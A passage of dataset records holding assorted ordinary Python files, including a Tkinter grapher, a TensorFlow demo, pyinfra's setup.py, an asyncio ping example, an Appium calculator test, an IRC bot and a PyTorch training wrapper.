initialize(self):\n\t\tself.grid()\n\t\tself.function_entry = Tkinter.Entry(self)\n\t\tself.canvas=Tkinter.Canvas(self,width=self.width,height=self.height-200)\n\t\tif(self.winfo_screenwidth()>2000):\n\t\t\tself.canvas=Tkinter.Canvas(self,width=self.width/2,height=self.height-200)\n\t\t\tself.width=self.width/2\n\t\tself.canvas.grid(column=0,row=0,columnspan=2)\n\t\tself.function_entry.grid(column=0,row=1,sticky='EW',columnspan=1)\n\t\tself.load_button=Tkinter.Button(self,text=\"Load\", command=self.display)\n\t\tself.load_button.grid(column=1,row=1)\n\n\t\tself.display_lines()\n\n\tdef display(self):\n\t\t#this function will display the graph\n\t\t\n\t\tfunction_entry=self.function_entry.get()\n\n\t\tself.canvas.delete(\"all\")\n\n\t\tself.display_lines()\t\t\n\n\t\tcenterx=self.width/2\n\t\tcentery=self.height/2\n\n\t\ttry:\n\t\t\tfunction=Function(function_entry)\n\t\texcept ValueError:\n\t\t\tpass\n\t\t\t#display error message\n\t\t\n\t\tfor i,point in enumerate(function.plot):\n\n\t\t\tif(i==len(function.plot)-1):\n\t\t\t\tbreak\n\n\t\t\txval=point.x\n\t\t\tyval=point.y\n\t\t\tnextx=function.plot[i+1].x\n\t\t\tnexty=function.plot[i+1].y\n\t\t\ttry:\n\t\t\t\tself.canvas.create_line(self.width/2+xval*self.width/20,\n\t\t\t\t\t(self.height-200)/2-yval*(self.height-200)/20,\n\t\t\t\t\tself.width/2+nextx*self.width/20,\n\t\t\t\t\t(self.height-200)/2-nexty*(self.height-200)/20,width=2)\n\t\t\texcept:\n\t\t\t\tpass\n\t\tself.update()\n\n\tdef display_lines(self):\n\t\tself.canvas.create_line(0,(self.height-200)/2,self.width-200,(self.height-200)/2,width=3,fill=\"black\")\n\t\tself.canvas.create_line(self.width/2,0,self.width/2,self.height-200,width=3,fill=\"black\")\n\n\t\tfor x in range(1,21):\n\t\t\tself.canvas.create_line(x*self.width/20,0,x*self.width/20,self.height,fill=\"gray\",width=1)\n\t\t\tself.canvas.create_line(0,x*(self.height-200)/20,self.width-200,x*(self.height-200)/20,fill=\"gray\",width=1)\n\nif __name__ == \"__main__\":\n\tapp = Grapher(None)\n\tapp.title('Graphing Application')\n\tapp.mainloop();","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226784432","text":"# to train a network\n# refer to https://morvanzhou.github.io/tutorials/machine-learning/tensorflow/4-1-tensorboard1/\n# to visualize the tensor board (it's funny)\n\n\nimport tensorflow as tf\nfrom addLayer import addLayer\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfig = plt.figure()\nax = fig.add_subplot(1,1,1)\n\n# [:,np.newaxis] is used to transpose the array\nx = np.linspace(-1, 1, 300, dtype=np.float)[:,np.newaxis]\nnoise = np.random.normal(0, 0.05, x.shape).astype(np.float32)\nyReal = np.square(x) - 0.5# + noise\n\nax.scatter(x, yReal)\nplt.ion()\n\n# [None, 1] here means whatever how many inputs,\n# the number of outputs is always 1\nwith tf.name_scope('inputs'):\n xs = tf.placeholder(tf.float32, [None, 1], name = 'x_in')\n ys = tf.placeholder(tf.float32, [None, 1], name = 'y_in')\n\n# construct 3 layer ---\n# input layer with 1 unit -- already exist\n# mid(hidden) layer with 10 units\n# output layer with 1 unit\nmid = addLayer(xs, 1, 10, tf.nn.relu, 'layer-mid')\nprediction = addLayer(mid, 10, 1, None, 'layer-output')\n\nwith tf.name_scope('loss'):\n loss = tf.reduce_mean(tf.reduce_sum(tf.square(ys-prediction),\n reduction_indices=[1]))\n tf.summary.scalar('loss', loss)\n\n# construct optimizer algorithm\nwith tf.name_scope('train'):\n train = tf.train.GradientDescentOptimizer(0.1).minimize(loss)\n#train = tf.train.AdamOptimizer(0.1).minimize(loss)\n\n# start to run training\n# init at first\ninit = tf.global_variables_initializer()\n# construct session\nsess = tf.Session()\n# output logs for tensor board\nmerged = tf.summary.merge_all()\nwrite = tf.summary.FileWriter('logs/', sess.graph)\n# run init\nsess.run(init)\n# train 1000 times:\nfor i in range(5000):\n sess.run(train, feed_dict={xs:x, ys:yReal})\n # print loss every 50 steps\n if i % 50 == 0:\n print(sess.run(loss, feed_dict={xs:x, ys:yReal}))\n # write summary into file\n write.add_summary(sess.run(merged, feed_dict={xs: x, ys: yReal}), i)\n # show the training procedure\n try:\n ax.lines.remove(lines[0])\n except Exception:\n pass\n predictedVal = sess.run(prediction, feed_dict={xs:x})\n lines = ax.plot(x, predictedVal, 'r-', lw=5)\n plt.pause(0.01)\n\nplt.ioff()\nplt.show()","sub_path":"tensorflow/basic/ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"404291040","text":"# pyinfra\n# File: setup.py\n# Desc: needed\n\nfrom setuptools import setup\n\nINSTALL_REQUIRES = (\n 'gevent>1,<2',\n 'paramiko>1,<3',\n 'docopt<1',\n 'colorama<1',\n 'termcolor>1,<2',\n 'jinja2>2,<3',\n 'python-dateutil>2,<3',\n 'six>1,<2',\n)\n\nTEST_REQUIRES = (\n 'nose==1.3.7',\n 'jsontest==1.2',\n 'coverage==4.0.3',\n 'mock==1.3.0',\n)\n\nDEV_REQUIRES = TEST_REQUIRES + (\n # Releasing\n 'wheel',\n\n # Dev debugging\n 'ipdb',\n 'ipdbplugin',\n\n # Dev docs requirements\n 'sphinx==1.3.1',\n 'sphinx-autobuild==0.5.2',\n)\n\n\n# Extract version info without importing entire pyinfra package\nversion_data = {}\nwith open('pyinfra/version.py') as f:\n exec(f.read(), version_data)\n\n\nif __name__ == '__main__':\n setup(\n version=version_data['__version__'],\n name='pyinfra',\n description='Deploy stuff by diff-ing the state you want against the remote server.',\n author='Nick / Fizzadar',\n author_email='pointlessrambler@gmail.com',\n license='MIT',\n url='http://github.com/Fizzadar/pyinfra',\n packages=(\n 'pyinfra',\n 'pyinfra.api',\n 'pyinfra.facts',\n 'pyinfra.facts.util',\n 'pyinfra.modules',\n 'pyinfra.modules.util',\n ),\n package_dir={\n 'pyinfra': 'pyinfra',\n },\n scripts=(\n 'bin/pyinfra',\n ),\n install_requires=INSTALL_REQUIRES,\n extras_require={\n 'dev': DEV_REQUIRES,\n 'test': TEST_REQUIRES,\n },\n classifiers=(\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Intended Audience :: System Administrators',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Topic :: System :: Systems Administration',\n )\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"261833986","text":"def checkio(expression):\n open_br = '{(['\n close_br = '})]'\n new_exp = ''\n stack = []\n for i in expression:\n if i in open_br or i in close_br:\n new_exp+= i\n if len(new_exp) == 0:\n return True\n if new_exp[0] in close_br or len(new_exp)%2==1:\n return False\n else:\n for i in new_exp:\n if i in open_br:\n stack.append(i)\n elif open_br.find(stack.pop())==close_br.find(i):\n continue\n else:\n return False\n return True\n\n\n#These \"asserts\" using only for self-checking and not necessary for auto-testing\nif __name__ == '__main__':\n assert checkio(\"((5+3)*2+1)\") == True, \"Simple\"\n assert checkio(\"{[(3+1)+2]+}\") == True, \"Different types\"\n assert checkio(\"(3+{1-1)}\") == False, \") is alone inside {}\"\n assert checkio(\"[1+1]+(2*2)-{3/3}\") == True, \"Different operators\"\n assert checkio(\"(({[(((1)-2)+3)-3]/3}-3)\") == False, \"One is redundant\"\n assert checkio(\"2+3\") == True, \"No brackets, no problem\"\n","sub_path":"Electronic Station/07.Brackets.py","file_name":"07.Brackets.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"184278048","text":"from .filters import *\nfrom .reader import *\nfrom .errors import *\nimport os\nimport logging\nimport sys\nlog = logging.getLogger(__name__)\nclass opener:\n def open_file(path):\n if file(path)!=False:\n try:\n return open(path, 'w+')\n except FileNotFoundError:\n raise FileNotFoundError('Could not find '+str(path))\n except:\n raise\n raise CouldNotOpen('Could not open '+str(path))\n else:\n raise NotAFile(str(path)+' in not a file')\n def open_all(files, opty):\n h={}\n for a in files:\n if file(a)!=False:\n try:\n h[a]=open(a, opty)\n except FileNotFoundError:\n raise FileNotFoundError('Could not find '+str(a))\n except:\n raise\n raise CouldNotOpen('Could not open '+str(a))\n else:\n raise NotAFile(str(a)+' is not a file')\n return h\n def make_import_all(fil, path):\n try:\n if file(fil)!=False:\n f=open(fil, 'w+')\n else:\n raise NotAFile(str(fil)+' is not a file')\n except FileNotFoundError:\n raise FileNotFoundError('Could not find file '+str(fil))\n except:\n err=sys.exc_info()\n raise\n raise CouldNotOpen(err[0].__name__+': '+str(err[1]))\n w=''\n r=reader(path)\n for a in r.read_all():\n if a == f or a[-3:] != '.py':\n continue\n w+='\\nfrom .'+a[:-3]+' import *'\n try:\n f.write(w)\n log.info('Made import file')\n except:\n raise CouldNotWrite('Could not write to file')\n f.close()\n def __eq__(self, other):\n return (self.__class__ == other.__class__)\n def __ne__(self, other):\n return not self.__eq__(other)\n class file:\n def __init__(self, fp=os.getcwd()):\n self.path=fp\n self.pos=0\n try:\n if file(fp):\n self.file=open(fp, 'w+')\n else:\n raise NotAFile(str(fp)+' is not a file')\n except FileNotFoundError:\n raise FileNotFoundError('Could not find '+str(fp))\n except:\n err=sys.exc_info()\n raise\n raise CouldNotOpen(err[0].__name__+': '+str(err[1]))\n #except:\n # raise\n # raise CouldNotOpen('Could not open '+str(new))\n def __int__(self):\n return self.pos\n def __str__(self):\n return ' '.join(read(self.path))\n def __hash__(self):\n return hash(self.path)\n def __eq__(self, other):\n return (self.__class__ == other.__class__ and self.path == other.path)\n def __ne__(self, other):\n return not self.__eq__(other)\n def open(self):\n try:\n return self.file\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n err=sys.exc_info()\n raise\n raise ReaderError(err[0].__name__+': '+str(err[1]))\n def line(self, l):\n try:\n f=self.file\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n err=sys.exc_info()\n raise\n raise ReaderError(err[0].__name__+': '+str(err[1]))\n try:\n f.seek(l, 0)\n except:\n raise NotValidFilePosition('Could not set line position to '+str(l))\n #raise CouldNotRead('Failed to read line '+str(self.pos)+' in '+str(self.path))\n try:\n return f.readline()\n except:\n raise CouldNotRead('Failed to read line '+str(self.pos)+' in '+str(self.path))\n def len(self):\n try:\n return len(self.file.readlines())\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n raise CouldNotRead('Failed to read all lines in '+str(self.path))\n def characters(self):\n try:\n return len(list(self.file.read()))\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n err=sys.exc_info()\n raise\n raise CouldNotRead(err[0].__name__+': '+str(err[1]))\n def set_line(self, l):\n try:\n self.file.seek(l, 0)\n self.pos=l\n except:\n NotValidFilePosition('Could not set line position to '+str(l))\n def line_list(self):\n try:\n return self.file.readlines()\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n err=sys.exc_info()\n raise\n raise CouldNotRead(err[0].__name__+': '+str(err[1]))\n def pos(self):\n return self.pos\n class writer:\n def __init__(self, f=os.getcwd()):\n self.path=f\n def ready(self):\n try:\n if file(self.path)!=False:\n self.file=open(self.path, 'w+')\n else:\n raise NotAFile(str(self.path)+' is not a file')\n except FileNotFoundError:\n raise FileNotFoundError('Could not find '+str(self.path))\n except:\n err=sys.exc_info()\n raise\n raise CouldNotOpen(err[0].__name__+': '+str(err[1]))\n def __str__(self):\n return ' '.join(read(self.path))\n def __hash__(self):\n return hash(self.path)\n def __eq__(self, other):\n try:\n return (self.__class__ == other.__class__ and self.path == other.path and self.file == other.file)\n except AttributeError:\n err=sys.exc_info()\n raise FileNotFoundError(err[0].__name__+': '+str(err[1]))\n def __ne__(self, other):\n return not self.__eq__(other)\n def replace(self, fro, to, new):\n try:\n f=self.file.readlines()\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n raise CouldNotRead('Failed to read all lines in '+str(self.path))\n d=[]\n num=0\n for a in range(fro, to):\n if num in new:\n f[a]=new[num]\n else:\n d.append(f[a])\n num+=1\n for b in range(len(d)-1, -1, -1):\n del f[d[b]]\n try:\n self.file.write(''.join(f))\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n err=sys.exc_info()\n raise\n raise CouldNotWrite(err[0].__name__+': '+str(err[1]))\n def write_list(self, l):\n try:\n self.file.write(''.join(l))\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n err=sys.exc_info()\n raise\n raise CouldNotWrite(err[0].__name__+': '+str(err[1]))\n def duplicate(self, new):\n try:\n if file(new)!=False:\n f=open(new, 'w+')\n else:\n raise NotAFile(str(fp)+' is not a file')\n except FileNotFoundError:\n raise FileNotFoundError('Could not find '+str(new))\n except:\n err=sys.exc_info()\n raise\n raise CouldNotOpen(err[0].__name__+': '+str(err[1]))\n try:\n f.write(self.file.read())\n except AttributeError:\n raise FileNotFoundError('Could not find \"file\" parameter in \"self\"')\n except:\n raise CouldNotWrite('Could not write to '+str(new))\n f.close()\n","sub_path":"opener.py","file_name":"opener.py","file_ext":"py","file_size_in_byte":8806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"600804915","text":"from kantai import *\nimport collections\nfrom file_utils import *\nimport os\nimport kantai.static\nimport json\n\ncur_uri = os.getcwd()\nvoice_uri = os.path.join(cur_uri, \"voice\")\nwikicode_uri = os.path.join(cur_uri, \"wikicode\")\n\ntranslate_template = r\"\"\"{{台词翻译表\n |档名 =%s\n |场合 =%s\n |日文台词 =%s\n |中文译文 =%s\n}}\n\"\"\"\n\n\nactor_lines = dict()\n\n\ndef load_actor_lines(jp=\"subtitlesJP.json\", zh=\"subtitlesCHN.json\"):\n\tglobal actor_lines\n\twith open(os.path.join(cur_uri, \"lines\", jp), \"r\", encoding=\"utf-8\") as fp:\n\t\tactor_lines['jp'] = json.load(fp)\n\twith open(os.path.join(cur_uri, \"lines\", zh), \"r\", encoding=\"utf-8\") as fp:\n\t\tactor_lines['zh'] = json.load(fp)\n\treturn actor_lines\n\n\ndef get_actor_line(language, ship, voice_id):\n\tif language not in ['jp', 'zh']:\n\t\traise TypeError(\"get_actor_line arg language must be 'jp' or 'zh'.\")\n\treturn actor_lines[language].get(str(ship.ship_id), dict()).get(str(voice_id), \"\")\n\n\nclass ShipDaughterActiveVoice:\n\tdef __init__(self, ship):\n\t\tassert isinstance(ship, ShipDaughter)\n\t\tself.voices = collections.OrderedDict()\n\t\tfor i in range(1, 54):\n\t\t\tif os.path.exists(os.path.join(voice_uri, ship.wiki_name(i))):\n\t\t\t\tself.voices[i] = {\n\t\t\t\t\t\"voice_id\": i,\n\t\t\t\t\t\"uri\": os.path.join(voice_uri, ship.wiki_name(i))\n\t\t\t\t}\n\t\tself.ship = ship\n\n\tdef get_uri(self, voice_id):\n\t\treturn self.voices[voice_id]['uri']\n\n\tdef pop(self, voice_id):\n\t\treturn self.voices.pop(voice_id)\n\n\ndef check_duplicate(old_ship, new_ship):\n\tassert isinstance(old_ship, ShipDaughterActiveVoice)\n\tassert isinstance(new_ship, ShipDaughterActiveVoice)\n\n\trecord = []\n\tfor voice_id, val in new_ship.voices.items():\n\t\tif voice_id in old_ship.voices:\n\t\t\tif file_compare(old_ship.get_uri(voice_id), val['uri']):\n\t\t\t\trecord.append(voice_id)\n\n\tfor voice_id in record:\n\t\tnew_ship.pop(voice_id)\n\n\ndef dump_to_file(ship_list):\n\toutput = []\n\ttimes_letter = collections.OrderedDict()\n\tfor cur in ship_list:\n\t\tassert isinstance(cur, ShipDaughterActiveVoice)\n\t\tif cur.voices:\n\t\t\tcur_output = []\n\t\t\tfor voice_id in cur.voices:\n\t\t\t\tif voice_id < 30:\n\t\t\t\t\tcur_output.append(translate_template % (\n\t\t\t\t\t\tcur.ship.wiki_name(voice_id)[:-4], # 档名\n\t\t\t\t\t\tkantai.static.dm[voice_id], # 场合\n\t\t\t\t\t\tget_actor_line('jp', cur.ship, voice_id), # 日文台词\n\t\t\t\t\t\tget_actor_line('zh', cur.ship, voice_id) # 中文台词\n\t\t\t\t\t))\n\t\t\t\telse:\n\t\t\t\t\tif voice_id not in times_letter:\n\t\t\t\t\t\ttimes_letter[voice_id] = translate_template % (\n\t\t\t\t\t\t\tcur.ship.wiki_name(voice_id)[:-4],\n\t\t\t\t\t\t\tkantai.static.dm[voice_id],\n\t\t\t\t\t\t\tget_actor_line('jp', cur.ship, voice_id),\n\t\t\t\t\t\t\tget_actor_line('zh', cur.ship, voice_id)\n\t\t\t\t\t\t)\n\t\t\tif cur_output:\n\t\t\t\toutput.append(\"===%s===\" % cur.ship.zh_name)\n\t\t\t\toutput.append(\"{{台词翻译表/页头}}\")\n\t\t\t\toutput.extend(cur_output)\n\t\t\t\toutput.append(\"{{页尾}}\")\n\tif times_letter:\n\t\toutput.append(\"===时报===\")\n\t\toutput.append(\"{{台词翻译表/页头}}\")\n\t\tfor key, val in times_letter.items():\n\t\t\toutput.append(val)\n\t\toutput.append(\"{{页尾}}\\n\")\n\n\tfile_uri = os.path.join(wikicode_uri, \"%s.html\" % ship_list[0].ship.no)\n\twith open(file_uri, \"w\", encoding=\"utf-8\") as fp:\n\t\tfp.write('\\n')\n\t\tfp.write('
\\n')\n\t\tfp.write(\"==语音资料==\\n\")\n\t\tfp.write(\"'''''注:改造舰娘的语音只列出不重复的台词。'''''\\n\\n\")\n\t\tfp.write(\"\\n\".join(output))\n\t\tfp.write(\"
\")\n\n\n","sub_path":"generater.py","file_name":"generater.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"563218058","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport functools\nimport asyncio\n\n\nclass PingProtocol(asyncio.SubprocessProtocol):\n\n FD_NAMES = [\"stdin\", \"stdout\", \"stderr\"]\n\n def __init__(self, done_future: asyncio.Future):\n super().__init__()\n self.done = done_future\n self.buffer = bytearray()\n\n def connection_made(self, transport):\n print(\"process started {}, {}\".format(\n transport.get_pid(), type(transport)))\n self.transport = transport\n\n def pipe_data_received(self, fd, data):\n print(\"read {} bytes from {}\".format(len(data), self.FD_NAMES[fd]))\n if fd == 1:\n self.buffer.extend(data)\n\n def process_exited(self):\n print(\"process exited\")\n return_code = self.transport.get_returncode()\n print(\"return code {}\".format(return_code))\n\n cmd_output = bytes(self.buffer).decode()\n self.done.set_result((return_code, cmd_output))\n\n\n@asyncio.coroutine\ndef run_ping(loop: asyncio.BaseEventLoop):\n print(\"in run_ping\")\n\n cmd_done = asyncio.Future(loop=loop)\n args = [\"www.baidu.com\"]\n if os.name == \"nt\":\n args.extend([\"-n\", \"1\"])\n elif os.name == \"posix\":\n args.extend([\"-c\", \"1\"])\n factory = functools.partial(PingProtocol, cmd_done)\n proc = loop.subprocess_exec(\n factory,\n \"ping\", *args,\n stdin=None,\n stderr=None)\n try:\n print(\"launching process\")\n transport, protocol = yield from proc\n print(\"waiting for process to complete\")\n yield from cmd_done\n except Exception as ex:\n print(ex)\n raise\n else:\n transport.close()\n\n return cmd_done.result()\n\n\ndef main():\n event_loop = asyncio.get_event_loop()\n try:\n return_code, results = event_loop.run_until_complete(\n run_ping(event_loop))\n print(results)\n finally:\n event_loop.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"standard/050.asyncio/use_subprocess/asyncio_subprocess_protocol.py","file_name":"asyncio_subprocess_protocol.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"73055560","text":"#!/usr/bin/env python3\nimport sys, pathlib, unittest\nsys.path.append('../src')\nfrom directed_graph import DirectedGraph\nfrom vertex import Vertex\n\nclass TestVertex(unittest.TestCase):\n def test_illegal_edge(self):\n g = DirectedGraph()\n with self.assertRaises(ValueError):\n g.addEdge(2, Vertex('b'))\n g.addEdge(Vertex('b'), 2)\n g.adjacencies(2)\n\n def test_legal_edge(self):\n g = DirectedGraph()\n g.addEdge(Vertex('b'), Vertex('c'))\n\n def test_iteration(self):\n g = DirectedGraph()\n g.addEdge(Vertex('b'), Vertex('c'))\n for v in g:\n self.assertEqual(v, Vertex('b'))\n\n def test_adjacencies(self):\n g = DirectedGraph()\n g.addEdge(Vertex('b'), Vertex('c'))\n g.addEdge(Vertex('b'), Vertex('d'))\n self.assertEqual(len(g.adjacencies(Vertex('b'))), 2)\n self.assertEqual(len(g.adjacencies(Vertex('c'))), 0)\n\n def test_amountOfVertices(self):\n g = DirectedGraph()\n self.assertEqual(g.amountOfVertices(), 0)\n g.addEdge(Vertex('b'), Vertex('c'))\n self.assertEqual(g.amountOfVertices(), 2)\n g.addEdge(Vertex('b'), Vertex('d'))\n self.assertEqual(g.amountOfVertices(), 3)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"problem_016_find_mother_vertex_dfs/tests/directed_graph_tests.py","file_name":"directed_graph_tests.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"578490749","text":"#coding=utf-8\n'''\n计算器手机自动化\n'''\nfrom appium import webdriver\n#1.获取手机信息\nimport time\n\ndesired_cpas={\n 'platformName' : 'Android',\n 'platformVersion' : '4.4.4',\n 'deviceName': '192.168.56.101:5555',\n 'appPackage' : 'com.android.calculator2',\n 'appActivity' : '.Calculator'\n}\n'''\n#android setting 中查看 一下具体内容\n#a。平台名称\n#desired_caps['platformName']='Android'\ndesired_cpas['platformName']='Android'\n#b.android 版本\ndesired_cpas['platformVersion']='4.4.4'\n#c.设备名称 win+r dos窗口 输入命令 adb devices\ndesired_cpas['deviceName']='192.168.56.101:5555'\n#d.存放的包名 adb shell--进入手机内部 进来如果不是root用户 我们先切换到root用户,通过 su root进行切换\n# cd /data/data -----ls 查看要找的包名;如计算器的包名为:com.android.calculator2\ndesired_cpas['appPackage']='com.android.calculator2'\n#e.存放Activity名称 .Calculator\ndesired_cpas['appActivity']='.Calculator'\n'''\n#2>启动appium, 将手机信息导入 ip+端口号+appium固定的路径\ndriver=webdriver.Remote('http://127.0.0.1:4723/wd/hub',desired_cpas)\ntime.sleep(3)\n#计算 2+5=7\n#借助SDK中的具体路径 D:\\adt-bundle-windows-sdk\\sdk\\tools\n#com.android.calculator2:id/digit2 content_desc /text 都可以用by_name\n#清除结果\ndriver.find_element_by_id(\"com.android.calculator2:id/clear\").click()\n#计算\ndriver.find_element_by_id('com.android.calculator2:id/digit2').click()\ndriver.find_element_by_id('com.android.calculator2:id/plus').click()\ndriver.find_element_by_id('com.android.calculator2:id/digit5').click()\ndriver.find_element_by_id('com.android.calculator2:id/equal').click()\n#结果 class class_name\nresult=driver.find_element_by_class_name(\"android.widget.EditText\").text\nprint(result)\nif int(result)==7:\n print(\"测试通过\")\nelse:\n print(\"测试不通过\")\n#清除结果\ndriver.find_element_by_id(\"com.android.calculator2:id/clear\").click()\n#关闭app\ndriver.quit()\n\n","sub_path":"weekend01/calc2.py","file_name":"calc2.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"304641990","text":"from mongoengine import *\n\nfrom .audit import Audit\n\nclass Echange(Audit, EmbeddedDocument):\n accord = ReferenceField(\"Accord\", required = True)\n departements = ListField(ReferenceField(\"Departement\"), required = True)\n places = StringField()\n\n\n def get_departments_str(self):\n return \", \".join(d.nom for d in self.departements)\n\n\n def get_summary_str(self):\n dpts = self.get_departments_str()\n return \"{} ({}): {} places\".format(self.accord.nom, dpts, self.places)\n","sub_path":"dao/echange.py","file_name":"echange.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"390676670","text":"#!/usr/bin/env python\n\nimport threading, Irc, IrcBuilder\n\ndef join_greeter(bot, network, message):\n if message['command'] == 'JOIN':\n print(message)\n name = message['prefix']['name']\n if name != bot.nickname:\n channel = message['params']['channel'][1:]\n text = \"Hello \" + name + \"!\"\n bot.send(network, IrcBuilder.privmsg([channel], text))\n\nclass MessageListener(threading.Thread):\n def __init__(self, bot):\n threading.Thread.__init__(self)\n self.bot = bot\n def run(self):\n while True:\n message = self.bot.messages.get()\n if not message:\n break\n for handler in self.bot.message_handlers:\n handler(bot, message[0], message[1])\n if message[1]['command'] == 'PRIVMSG':\n pass\n\n\n\nclass Bot(Irc.Client):\n def __init__(self, nickname, userinfo = None, prefix = '.'):\n Irc.Client.__init__(self, nickname, userinfo)\n self.prefix = prefix\n self.message_handlers = []\n self.command_handlers = {}\n self.message_listener = MessageListener(self)\n def start(self):\n self.message_listener.start()\n def stop(self):\n self.messages.put(False)\n self.message_listener.join()\n print('Listener Thread died')\n def add_message_hander(self, handler):\n self.message_handlers.append(handler)\n def add_command_handler(self, command, handler):\n self.command_handlers[command] = handler\n\n\ndef main():\n pass\n\nif __name__ == '__main__':\n main()\n\nbot = Bot('Faroosh')\nbot.add_network('IRCHighway', 'irc.irchighway.net')\nbot.connect('IRCHighway')\nbot.send('IRCHighway', IrcBuilder.join(['#kiss']))\nbot.send('IRCHighway', IrcBuilder.privmsg(['#kiss'], 'Alright!'))\nbot.add_message_hander(join_greeter)\nbot.start()\n","sub_path":"Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"91434553","text":"import torch\nimport torch.utils.data\nimport copy\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.autograd as autograd\nimport torch.backends.cudnn as cudnn\nimport numpy as np\nimport os\nimport csv\nimport time\nimport gzip\nimport scipy.optimize\nimport curve_fit\nfrom Logger import SummaryPrint\nfrom misc import bcolors\nimport misc\nimport matplotlib.pyplot as plt\nfrom DataLoaders import PFPSampler\n\nclass Wrapper(object):\n def __init__(self, args, network_class, data_loader, device,auto,num_net = 1):\n super(Wrapper, self).__init__()\n self.args = args\n self.device = device\n self.window_size = args.window_size\n self.ctr = 0\n self.nfp = 0\n self.epoch = 0\n self.num_norm = 0\n self.num_ana = 0\n self.norm_limit = 2000\n self.ana_limit = 2000\n self.norm_error = []\n self.ana_error = []\n self.auto=auto\n self.fit_curve = args.fit_curve\n self.gen_train = args.ryu_datagen_train\n self.class_conv = args.class_conv\n self.num_net = args.multi_net\n self.network_list = []\n self.sumPrint_list = []\n self.validSumPrint_list = []\n self.networks_trained = []\n self.ryu_test = False\n print(auto,auto,auto,auto)\n self.ckpt_dir = 'ckpts/{0}'.format(args.run_name)\n if not os.path.isdir('ckpts'): #this is making the ckpts folder\n os.mkdir('ckpts')\n\n if not os.path.isdir(self.ckpt_dir): #this is making the run ckpt folder\n os.makedirs(self.ckpt_dir)\n\n print('Creating Network')\n self.data_loader = data_loader\n print('data loader: ', data_loader)\n x,y = next(iter(self.data_loader))\n x_size = x.size()\n if self.num_net > 1: #if parameter is defined, will now generate a list of networks\n\n self.network = network_class(args,x_size)\n self.network_list.append(self.network)\n self.sumPrint = SummaryPrint(args,self.network.loss_names(), self.ckpt_dir, 'train' if not args.test else 'test')\n self.sumPrint_list.append(self.sumPrint)\n self.validSumPrint_list.append(SummaryPrint(args,self.network.loss_names(),self.ckpt_dir, 'valid', color=bcolors.OKBLUE))\n self.validSumPrint = self.validSumPrint_list[0]\n i = 1\n while i < self.num_net:\n tempnet = network_class(args,x_size)\n self.network_list.append(tempnet) #not sure if i can prematurely send all of them to device\n self.sumPrint_list.append(SummaryPrint(args,self.network_list[i].loss_names(),self.ckpt_dir,'train' if not args.test else 'test'))\n self.validSumPrint_list.append(SummaryPrint(args,self.network_list[i].loss_names(), self.ckpt_dir, 'valid', color=bcolors.OKBLUE))\n i += 1\n #send all the networks to the device\n for i in range(len(self.network_list)):\n self.network_list[i] = self.network_list[i].to(device)\n else:\n self.network = network_class(args, x_size)\n if args.print_network:\n print(self.network)\n #will need to make this into a list\n self.sumPrint = SummaryPrint(args,self.network.loss_names(), self.ckpt_dir, 'train' if not args.test else 'test')\n #temporarily disable validation for multi-network network\n if not args.test:\n self.validSumPrint = SummaryPrint(args,self.network.loss_names(), self.ckpt_dir, 'valid', color=bcolors.OKBLUE)\n\n print(bcolors.OKBLUE + 'Moving to specified device' + bcolors.ENDC)\n self.network = self.network.to(device)\n cudnn.benchmark = True\n if self.args.rmsprop:\n self.optimizer = optim.RMSprop(self.network.parameters(), lr=args.lr, weight_decay=self.args.l2_reg)\n elif self.args.sgd:\n self.optimizer = optim.SGD(self.network.parameters(), lr=args.lr, momentum=0.9, weight_decay=self.args.l2_reg)\n else:\n self.optimizer = optim.Adam(self.network.parameters(), lr=args.lr, weight_decay=self.args.l2_reg)\n \n\n def load(self, resume=False):\n if self.args.checkpoint is None:\n print(bcolors.OKBLUE + 'Loading Checkpoint: ' + self.args.run_name + bcolors.ENDC)\n checkpoint = torch.load(self.ckpt_dir+\"/ckpt.pth\")\n else:\n 